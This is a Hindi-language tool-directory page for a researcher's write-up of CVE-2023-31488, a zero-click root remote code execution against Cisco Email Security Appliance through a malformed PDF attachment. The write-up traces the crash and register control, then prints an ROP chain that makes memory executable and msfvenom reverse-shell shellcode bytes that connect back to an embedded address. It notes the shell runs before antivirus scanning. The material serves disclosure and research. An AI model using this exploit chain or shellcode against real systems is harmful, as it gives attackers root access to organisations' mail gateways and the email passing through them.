Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/ly1g3/cisco-cve-2023-31488
शोषण फ्रेमवर्कमेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगशेलकोडफज़िंगपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंटईमेल सुरक्षाबाइनरी शोषण
1182 महीने पहलेअभी तक समीक्षित नहीं
GitHub
ly1g3/cisco-cve-2023-31488

cisco-CVE-2023-31488

Cisco Email Security Appliance: ईमेल से शून्य-क्लिक RCE रूट के रूप में - दूरस्थ कोड निष्पादन/मेमोरी भ्रष्टाचार/ROP-chain

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

परिचय

सुरक्षा शोधकर्ता: ly1g3, ly1g3[at]tuta.io

GPG फिंगरप्रिंट: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

अवलोकन: ईमेल से शून्य क्लिक RCE रूट के रूप में - रिमोट कोड निष्पादन/मेमोरी भ्रष्टाचार/ROP-श्रृंखला

CVE: CVE-2023-31488

समयरेखा:

  • खोज - ly1g3
  • रिपोर्ट - ly1g3
  • फिक्स - Cisco और Lexmark

राइटअप

Cisco Email Security Appliance (ESA) को फ़ज़ करते समय, मुझे Lexmark Perceptive Filters में एक कमज़ोरी मिली, जिसका उपयोग ESA ईमेल अटैचमेंट के डेटा सैनिटाइज़ेशन के लिए करता है, जिससे ईमेल के माध्यम से RCE होता है। क्रैश एक संशोधित PDF अटैचमेंट को पार्स करते समय होता है। एक दोहरे अंक वाले PDF ऑब्जेक्ट ID को बदलकर, उदाहरण के लिए:

उदाहरण के लिए:

13 0 obj
<</Subtype/CIDFontType2/FontDescriptor

ID के भाग को 13 से किसी और चीज़ (जैसे स्पेस) में बदलने पर परिणाम होता है:

1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
1

इस संशोधित PDF को Cisco ESA को ईमेल में भेजने से libISYSpdf6.so में सेगमेंटेशन फॉल्ट क्रैश होता है। क्रैश r14 में ASCII डेटा होने के कारण होता है।

2 3

करीब से निरीक्षण करने पर पता चलता है कि यह डेटा हमारे नियंत्रण में PDF अटैचमेंट की सामग्री से आता है। r14 का मान Rect है। 4

Rect को AAAA में बदलने पर परीक्षण।

5

चूँकि r14 का मान PDF में डेटा से लोड होता है, हम इसे एक वैध मेमोरी पते पर इंगित करने के लिए संशोधित कर सकते हैं। इस समायोजन के बाद, RAX में अमान्य डेटा के कारण एक और क्रैश होता है। यह डेटा भी PDF से ASCII है।

6

हम PDF को संशोधित करते हैं ताकि rax भी एक वास्तविक पते पर इंगित करे और आगे बढ़ते हैं। 7

एक नया क्रैश होता है; अब rsi में PDF से ASCII डेटा है। 8

हम PDF को फिर से संशोधित करते हैं ताकि एक वास्तविक मेमोरी पता लोड करें।

9

अंत में, हम कोड के एक बहुत ही दिलचस्प भाग पर आते हैं। जहाँ हम rdi को नियंत्रित करते हैं, जिसका उपयोग rax में एक मान लोड करने के लिए किया जाता है। इस अनुक्रम में अंतिम निर्देश call rax है। हम अब कोड निष्पादन क्षमताओं को प्राप्त करने की दिशा में अच्छी प्रगति कर रहे हैं।

10

एक बार फिर हम हेक्स एडिटर में प्रवेश करते हैं और rdi में लोड किए गए मान को संशोधित करते हैं। 11

अब हमारे पास सीमित कोड निष्पादन का एक तरीका है और हम एक एकल पते पर कूद सकते हैं। चूँकि ASLR मौजूद नहीं है, मेमोरी पते ढूँढना आसान है। हम rdi को भी नियंत्रित करते हैं और इसलिए प्रारंभिक ROP-गैजेट libISYSshared.so: push rdi; pop rsp; xor eax, का उपयोग करके rdi को rsp पर ले जाकर स्टैक को नियंत्रित करते हैं। हम स्टैक को PDF मेमोरी क्षेत्र के एक क्षेत्र पर इंगित करते हैं जिसे हम नियंत्रित करते हैं, जिसमें अधिक ROP गैजेट्स से तैयार एक कस्टम स्टैक होता है। 12

msfvenom द्वारा उत्पन्न एक FreeBSD रिवर्स-शेल शेलकोड को PDF मेमोरी क्षेत्र में रखा गया है। लेकिन चूँकि मेमोरी निष्पादन योग्य नहीं है, हमें पहले इसे निष्पादन योग्य बनाना होगा।

shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"

चूँकि इस बिंदु पर हम स्टैक को नियंत्रित करते हैं, यह निम्नलिखित ROP-श्रृंखला द्वारा किया जा सकता है ताकि शेलकोड मेमोरी क्षेत्र को RWX के रूप में सेट करने के लिए mmap को कॉल किया जा सके।

rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 

mmap को कॉल करने के बाद call rsp; हमारे शेलकोड के NOP-स्लेड को निष्पादित करेगा क्योंकि शेलकोड का पता हमारे कस्टम स्टैक पर अगला है। शेलकोड msfvenom द्वारा उत्पन्न एक रिवर्स शेल है।

एक दिलचस्प बात यह है कि यह कोड किसी भी स्थिर एंटीवायरस स्कैन से पहले चलता है, इसलिए मानक मेटास्प्लॉइट रिवर्स शेल बिल्कुल ठीक काम करेगा।

हम काम करने वाला PDF बनाने के लिए नीचे दिए गए POC का उपयोग कर सकते हैं। उसके बाद हम इसे ESA को ईमेल में भेजते हैं ताकि RCE प्राप्त कर सकें। विशेषाधिकार वृद्धि के लिए मेरी अन्य कमज़ोरियाँ देखें।

और इस प्रकार हम ESA पर एक रिमोट शेल प्राप्त करते हैं:

13

यह एक मज़ेदार प्रोजेक्ट था जिसने मुझे मेमोरी भ्रष्टाचार कमज़ोरियों के बारे में बहुत कुछ सिखाया। यह यह भी दर्शाता है कि "आधुनिक" मेमोरी सुरक्षा जैसे ASLR कितनी अच्छी सुरक्षा है, लेकिन यह भी कि आप अभी भी गैर-ASLR सिस्टम ढूँढ सकते हैं।

Cisco AsyncOS 14.2.0

ESA (Cisco Secure Email) ओवरफ़्लो हमला। रूट के रूप में रिमोट कोड निष्पादन।

Lexmark Perceptive Filters में वेरिएबल/बफर ओवरफ़्लो

एक विशेष रूप से तैयार की गई PDF फ़ाइल भेजकर, एक ओवरफ़्लो हमलावर को ESA और Lexmark Perceptive Filters का उपयोग करने वाले अन्य उत्पादों पर मनमाना रिमोट कोड निष्पादन प्राप्त करने का कारण बनता है।

तकनीकी

यह ओवरफ़्लो हमला हमलावर को call rax निर्देश पर नियंत्रण प्राप्त करने की अनुमति देता है, जो मनमाना कोड निष्पादन की ओर बढ़ना आसान बनाता है क्योंकि ESA पर कोई ASLR का उपयोग नहीं किया जाता है। कोड रूट के रूप में निष्पादित होगा।

समस्या Lexmark द्वारा libISYSpdf6.so लाइब्रेरी में PDF पार्सिंग से आती है और IGR_Open_File_Ex फ़ंक्शन के कॉल के कारण होती है। इस फ़ंक्शन को AMP (एडवांस्ड मैलवेयर प्रोटेक्शन) में सुरक्षित प्रिंट और इमेज_विश्लेषण कार्यों तक ट्रेस किया जा सकता है, लेकिन शोषण संभवतः अन्य पथों का उपयोग करके भी ट्रिगर किया जा सकता है।

टूल डाउनलोड करें